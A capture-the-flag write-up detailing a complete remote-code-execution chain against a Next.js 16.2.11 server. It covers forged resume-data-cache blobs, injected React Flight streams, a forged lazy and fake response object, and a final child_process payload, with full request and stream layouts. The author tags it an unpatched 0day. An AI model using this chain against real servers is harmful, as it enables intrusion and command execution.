bloatware.js

Next.js resume-data-cache blobs are base64 → inflate → JSON.parse with no integrity check, and the client Flight decoder's synchronous reference walk has no guards at all.

2026.09.30 NNS CTF 2026 299 pts Web
FLAG NNS{n3xt.js_1s_pur3_sl0p_1b399664d5}

A Next.js 16.2.11 app. The write-up below keeps the round structure of the actual investigation, including two rounds whose conclusions were wrong. Those are the rounds worth reading.

What the first three rounds missed

I had been fuzzing PPR-resume mostly through replayNodes. The far stronger sink is the resumeDataCache blob that follows the postponed state.

The earlier rounds had captured their sample from a toy route (/ppr-test) where this value was the literal string "null", so the surface was simply invisible. This app uses "use cache", so in reality it is populated.

Why it is reachable, the config combination is the key

// server.js
minimalMode: true
// base-server.js:620
isAppPPREnabled && minimalMode && req.headers['next-resume'] === '1' && POST

That accepts the request body as postponed state. Note customServer: false // <--- gift for u.

  • next.config.mjs: cacheComponents: true → PPR plus the "use cache" store is active
  • fetch.js: two "use cache" functions actually use the cache store

The chain

1) Our blob reaches the cache store.

// resume-data-cache.js  createRenderResumeDataCache()
json = JSON.parse(inflateSync(Buffer.from(blob, 'base64'), {maxOutputLength: ...}).toString('utf-8'));
return {
  cache: parseUseCacheCacheStore(Object.entries(json.store.cache)),
  fetch: new Map(Object.entries(json.store.fetch)),
  encryptedBoundArgs: new Map(Object.entries(json.store.encryptedBoundArgs)),
  ...
};

base64 → zlib inflate → JSON.parse, and that is all. There is no signature, MAC or integrity check of any kind.

2) A cache entry’s value is a raw byte stream we supply.

// cache-store.js  parseUseCacheCacheStore()
value: new ReadableStream({
  start(controller) {
    controller.enqueue(stringToUint8Array(atob(entry.value)));   // our base64, verbatim
    controller.close();
  }
}),

3) That stream is fed to a Flight decoder inside the server.

// use-cache-wrapper.js:1064-1069 - cache lookup
const renderResumeDataCache = getRenderResumeDataCache(workUnitStore);
if (renderResumeDataCache) {
  const rdcEntry = renderResumeDataCache.cache.get(serializedCacheKey);   // our entry

// use-cache-wrapper.js:1481 - restoring the value
const serverConsumerManifest = {
  moduleLoading: null,
  moduleMap: clientReferenceManifest.rscModuleMapping,
  serverModuleMap: getServerModuleMap(),        // the server reference map comes along too
};
return createFromReadableStream(stream, { ..., serverConsumerManifest, .. });

Why this differs from the path a previous round declared dead

That round’s “definitively dead” conclusion was about fulfillReference’s defences in the server decoder (decodeReply / react-server-dom-*-server). This is not that. Here the client decoder (react-server-dom-*-client) runs inside the server process, holding serverModuleMap and moduleMap, parsing our bytes. Its defences are not the same, so it needed checking separately.

Confirmation: arbitrary server-side Flight stream injection

POST /  ->  1:"PWNED_BY_RDC"          <- our value instead of the Wikipedia HTML
[CK] key=["pDpSm515jzcsVDw36FXx2","80db9adc...",[]] rdc=true

The entire return value of getBloatwareHtml() was replaced with ours. Feeding arbitrary bytes to createFromReadableStream works (poc_rdc_inject.py).

The missing piece: carrying action + resume in one request

Sending next-resume: 1 consumes the whole body as postponed state, so the action dies in JSON.parse(''). The real path is elsewhere:

// node_modules/next/dist/build/templates/app-page.js:230-262
const resumeStateLengthHeader = req.headers[NEXT_RESUME_STATE_LENGTH_HEADER];  // 'x-next-resume-state-length'
if (!getRequestMeta(req,'postponed') && isMinimalMode && couldSupportPPR
    && isPossibleServerAction && resumeStateLengthHeader) {
  const fullBody = await readBodyWithSizeLimit(req, maxTotalBodySize);
  const postponedState = fullBody.subarray(0, stateLength).toString('utf8');
  addRequestMeta(req, 'postponed', postponedState);
  const actionBody = fullBody.subarray(stateLength);
  addRequestMeta(req, 'actionBody', actionBody);      // the action handler reads this
}

The comment says outright “so the RDC is available for the re-render after the action completes”. The branch only opens in minimalMode, which is exactly what customServer: false // gift for u gives us.

Request shape

POST /
x-matched-path: /
next-action: 80db9adc26256d6e094b28dc8d838ba81eb59de393
x-next-resume-state-length: <len(state)>
content-type: text/plain;charset=UTF-8

<state><actionBody>

state = 4:null + base64(zlib.deflate(JSON)), the “RDC only, no React state” form from postponed-state.js:75. parsePostponedState returns {type:1, renderResumeDataCache} when postponedString === 'null'.

{"store":{"fetch":{},"cache":{ "<KEY>": {"entry":{"value":"<b64 flight>","tags":[],
 "stale":0,"timestamp":0,"expire":0,"revalidate":0},
 "hasExplicitRevalidate":false,"hasExplicitExpire":false,"readRootParamNames":[]}},
 "encryptedBoundArgs":{}}}

<KEY> = JSON.stringify([buildId, actionId, args]), e.g. ["pDpSm515jzcsVDw36FXx2","80db9adc26256d6e094b28dc8d838ba81eb59de393",[]] (the buildId is readable remotely from "b":"..." in the response). revalidate must be non-zero and expire ≥ DYNAMIC_EXPIRE or the entry is discarded as dynamic.

Round 3 conclusions, two of which were wrong

At this point I had “decode arbitrary Flight inside the server” but not RCE, and I recorded these as settled defences:

  • Callable functions are sealed. loadServerReferenceresolveServerReference → the serverModuleMap Proxy only admits 42-character valid action IDs. So the only callable things are this app’s two "use cache" functions.
  • No prototype pollution. Both assignment sites in the decoder are guarded by "__proto__" !== key && (parentObject[key] = value) (lines 1082, 1207).
  • No arbitrary module load. resolveClientReference’s bundlerConfig is always a truthy Proxy, so the return metadata branch is unreachable.
  • No $E eval gadget. The decoder the server actually uses is bundled in .next/server/chunks/ssr/[root-of-the-server]__0mihd3-._.js; searching it for new Function, eval(, (0,eval), __DEV__, case "E" gives zero hits. Not a dev bundle.

A correction I also had to make in this round: “the two cache functions plus controlled arguments” is worth nothing, because neither function takes arguments:

"use cache";
const nameToUrl = (name) => `https://en.wikipedia.org/w/rest.php/v1/page/${name}/html`;
async function getBloatwareHtml() {
  const response = await fetch(nameToUrl("Software_bloat"));
  return await response.text();
}
async function getNextHtml() {
  const response = await fetch(nameToUrl("Next.js"));
  return (await response.text()).replaceAll("Next.js", "bloatware.js");
}
export { getBloatwareHtml, getNextHtml }

Their return value does reach dangerouslySetInnerHTML, so XSS is certain, but this challenge has no admin bot, so that does not lead to the flag.

Round 4, two of those guards collapse

Break 1: the synchronous reference walk has no guards at all

The guards live only on the asynchronous path. fulfillReference (lines 988-1053) checks typeof value === 'object' && hasOwnProperty.call(value, name), but the synchronous loop in getOutlinedModel (lines 1245-1345) is simply:

id = id[reference[i]];      // no typeof check, no hasOwnProperty check

The synchronous path is taken when the target chunk is already resolved, which you arrange by placing the target chunk before the reference in the stream.

Stream orderPayloadResult
target first (resolved)1:{"x":1} then 0:"$1:constructor:name"1:"Object", a function passed as an intermediate hop
target later (pending)0:"$1:constructor:name" then 1:{"x":1}500 (async guard)

So round 3’s “functions cannot be intermediate hops” was wrong. __proto__ hops open up too, and $1:constructor:constructor reaches Function.

Break 2: a forged lazy bypasses resolveClientReference entirely

getOutlinedModel’s lazy-unwrapping loop trusts _payload to be a chunk:

for (; typeof id === "object" && id !== null && id.$$typeof === REACT_LAZY_TYPE;) {
  id = id._payload;
  switch (id.status) {
    case "resolved_model":  initializeModelChunk(id);  break;
    case "resolved_module": initializeModuleChunk(id); break;   // <-
  }

and initializeModuleChunk does var value = requireModule(chunk.value), where chunk.value is ours. $$typeof is forged with the $S (Symbol.for) marker:

1:{"$$typeof":"$Sreact.lazy","_payload":{"status":"resolved_module","value":[<module id>,[],"<name>"]}}
0:"$1:name"

No manifest lookup, no Proxy guard. The error proves it lands:

Error: Module child_process was instantiated because it was required from module 56716,
       but the module factory is not available.
   at instantiateModule ([turbopack]_runtime.js:845)
   at commonJsRequire ([turbopack]_runtime.js:302)

Our ID reaches turbopack’s commonJsRequire verbatim, so “no arbitrary module load” was wrong as well. Still not RCE though: searching all of .next/server for child_process / execSync / spawnSync / createRequire / runInNewContext / runInThisContext gives zero hits. The bundle has no code-execution module in it.

Round 5, forging the response object gives a controlled call

initializeModelChunk starts with:

var resolvedModel = chunk.value,
    response = chunk.reason;        // a forged chunk means this is ours too
    ...
var value = parseModel(response, resolvedModel);

So giving the forged lazy a _payload of {"status":"resolved_model","value":"<model JSON>","reason":{...}} makes the whole decoder run with our response. The interesting fields are _bundlerConfig (falsy → resolveClientReference returns our metadata), _serverReferenceConfig (falsy → loadServerReference takes the createBoundServerReference branch), and _callServer.

Working payload (poc_callserver.py):

1:[[5,{"status":"fulfilled","value":{"id":"AAA","bound":{"status":"fulfilled","value":["MARKER_CODE"]}}}]]
2:{"d":1}
3:{"_chunks":"$Q1","_callServer":"$2:constructor:constructor","_serverReferenceConfig":null,
   "_encodeFormAction":null,"_tempRefs":null,"_bundlerConfig":null}
4:{"$$typeof":"$Sreact.lazy","_payload":{"status":"resolved_model","value":"{\"r\":\"$h5\"}","reason":"$3"}}
0:{"then":"$4:r"}

Evidence that Function really is invoked:

SyntaxError: Unexpected identifier 'code'
    at Function (<anonymous>)            <- the Function constructor was actually called
    at Object.d [as then] (...)          <- via the thenable path

Both arguments to Function(String(id), String(boundArgs)) are ours. But Function only compiles; it does not call.

Round 6, the chain, and the last missing piece

action() contains two chained controlled calls:

function action() {
  var args = Array.prototype.slice.call(arguments);
  return bound ? ("fulfilled" === bound.status
      ? callServer(id, bound.value.concat(args))   // call 2 (callServer) <- call 1 (concat)
      : ...) : callServer(id, args);
}

Call 1 is bound.value.concat(args), bound.value is our object, so concat can be any function we like. Call 2 is callServer(id, <result of call 1>), and both callServer and id are ours. The result of call 1 becomes the second argument of call 2.

toJSON is used instead of then because of the argument. then receives React’s internal resolve/reject, while toJSON(key) receives the parent object’s property name, which is a string we choose.

I spent a while looking for externalRequire (turbopack’s real Node require, sitting at Context.prototype.x) as the thing that would call its argument. That was unnecessary.

Solved

NNS{n3xt.js_1s_pur3_sl0p_1b399664d5}

The last piece was Array.from. Array.from(items, mapFn) calls its second argument, and it is reachable by the synchronous walk alone as $1:constructor:from (array → Arrayfrom). Reaching the turbopack Context or the globals was never needed.

The complete chain

POST /
x-matched-path: /
next-action: <42-hex use-cache id>
x-next-resume-state-length: <len(state)>
content-type: text/plain;charset=UTF-8

<state><actionBody="[]">

state = 4:null + base64(zlib(RDC JSON)), where the RDC plants a single use cache entry. That entry’s value, the Flight stream decoded server-side by createFromReadableStream, is:

1:[1]                                                  # to reach Array
2:{"d":1}                                              # to reach Function
3:{"concat":"$2:constructor:constructor"}              # bound.value.concat = Function
4:[[5,{"status":"fulfilled","value":{"id":"$1","bound":{"status":"fulfilled","value":"$3"}}}]]
5:{"_chunks":"$Q4","_callServer":"$1:constructor:from","_serverReferenceConfig":null,
   "_encodeFormAction":null,"_tempRefs":null,"_bundlerConfig":null}
6:{"$$typeof":"$Sreact.lazy","_payload":{"status":"resolved_model","value":"{\"r\":\"$h5\"}","reason":"$5"}}
0:{"<JS CODE>":{"toJSON":"$6:r"}}
  1. Chunks are placed before their references, so getOutlinedModel takes the unguarded synchronous walk (id = id[reference[i]]) and functions pass as intermediate hops → Function and Array.from are reachable.
  2. A forged react.lazy ($$typeof faked via $S/Symbol.for) makes initializeModelChunk use response = chunk.reason, so the decoder runs on our fake response.
  3. _serverReferenceConfig: nullcreateBoundServerReference(metaData, _callServer, ...).
  4. The value is placed under toJSON, so serialisation calls action(key) with key = our property name = the JavaScript source.
  5. action()callServer(id, bound.value.concat(args)).
  6. bound.value.concat = FunctionFunction([code]) compiles a function whose body is our code.
  7. _callServer = Array.fromArray.from([1], <compiled function>) calls it.
  8. Payload: process.getBuiltinModule('child_process').execFileSync('/readflag',[PASSPHRASE]), neither require nor process.mainModule is in the global scope of a Function body, so Node 22+‘s process.getBuiltinModule was the answer.

Not explained by any published CVE (checked)

next@16.2.11 is a patch release from 2026-07 that already fixes CVE-2026-64641 through 64649. The only security release after it is 2026-08 (16.3.3): the AVIF RCE requires AVIF to be enabled explicitly in next.config, which this app does not do, and the Windows RCE does not apply on Linux. There is no 2026-09 release. The path really is the one the configuration combination opens.

#0day#nextjs#rsc